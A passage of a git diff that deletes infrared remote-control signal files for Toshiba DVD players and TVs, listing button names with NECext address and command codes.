KEY_STOP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 19 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1A 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1E 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 1F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 20 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 21 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 22 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 23 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 24 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 25 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 26 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 27 00 00 00 -# -name: KEY_PLAYER -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 47 00 00 00 -# -name: KEY_PVR -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 48 00 00 00 -# -name: KEY_FILE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 49 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 4A 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 50 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_GOTO -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 0F 00 00 -command: 5E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir deleted file mode 100644 index c578374d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir +++ /dev/null @@ -1,512 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PAUSE/STEP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: Z_-_PAUSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0A 00 00 00 -# -name: QUICK -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0B 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: Z_-_SLOW_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0D 00 00 00 -# -name: REV_SLOW -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0E 00 00 00 -# -name: Z_-_SLOW_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 0E 00 00 00 -# -name: V-REMOTE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 10 00 00 00 -# -name: REV_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 11 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 12 00 00 00 -# -name: FWD_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 13 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: Z_-_STOP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 14 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: Z_-_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: NAVI -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 16 00 00 00 -# -name: REV_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 19 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 20 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_-_ENTER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 21 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 22 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: Z_-_TRACK_(_-_) -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 23 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: Z_-_TRACK_(_+_) -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: >10 -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 25 00 00 00 -# -name: T -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: TITLE_SEARCH -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 26 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 27 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 28 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 29 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2A 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2B 00 00 00 -# -name: A-B_REPEAT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2C 00 00 00 -# -name: LAST_PLAY -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2D 00 00 00 -# -name: RANDOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2E 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 2F 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 40 00 00 00 -# -name: DIMMER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: FL_DIMMER -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 41 00 00 00 -# -name: 3D -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 43 00 00 00 -# -name: DNR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 49 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: CURSOR_-_RIGHT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4D 00 00 00 -# -name: COLOR_STREAM_SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 4E 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: CURSOR_-_LEFT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 51 00 00 00 -# -name: DISC_SELECT -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 53 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: CURSOR_-_UP -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 80 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: CURSOR_-_DOWN -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 81 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: 84 00 00 00 -# -name: Z_-_FAST_FORWARD -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DB 00 00 00 -# -name: Z_-_FAST_REWIND -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DC 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: TOP_MENU -type: parsed -protocol: NECext -address: 45 00 00 00 -command: DE 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 45 00 00 00 -command: EF 00 00 00 -# -name: ZOOM_(_-_) -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F0 00 00 00 -# -name: ZOOM_(_+_) -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F1 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 45 00 00 00 -command: F5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir deleted file mode 100644 index 726746d6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/TV/64,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: INPUT_SOURCE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: ENTER_/_CH_RETURN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: CH_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: SURROUND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: SUROUND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 18 00 00 00 -# -name: FAV_CHAN_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: FAV_CH_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: FAV+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_+/CURSOR_RT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: CHANNEL_+/CURSOR_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: FAV_CHAN_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: FAV_CH_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: FAV- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: VOLUME_-/CURSOR_LT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: CHANNEL_-/CURSOR_DN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: C.CAPTION -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 57 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 58 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 7E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 7F 00 00 00 -# -name: MENU/ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 -# -name: MENU_/_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 -# -name: MENU_ENTER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 -# -name: XDS -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 81 00 00 00 -# -name: ADV_UP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 82 00 00 00 -# -name: ADV_DN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 83 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir deleted file mode 100644 index bff546bdf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: SCART -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: TXT/MIX -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 59 00 00 00 -# -name: DOULBY -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5A 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 71 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir deleted file mode 100644 index bc14e7a44..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0A 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: mts -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 13 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: ent -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4C 00 00 00 -# -name: locate -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4E 00 00 00 -# -name: pip -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 51 00 00 00 -# -name: swap -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 53 00 00 00 -# -name: cap/text -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 57 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 58 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 63 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 80 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir deleted file mode 100644 index 6c0bcb89c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 11 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 14 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 16 00 00 00 -# -name: TXT/MIX -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 4B 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 59 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 5B 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 71 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir deleted file mode 100644 index b11d6db74..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 09 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0C 00 00 00 -# -name: tv/video -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 10 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 12 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 15 00 00 00 -# -name: ch_rtn -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 17 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1B 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 1F 00 00 00 -# -name: cap/text -type: parsed -protocol: NECext -address: 40 00 00 00 -command: 57 00 00 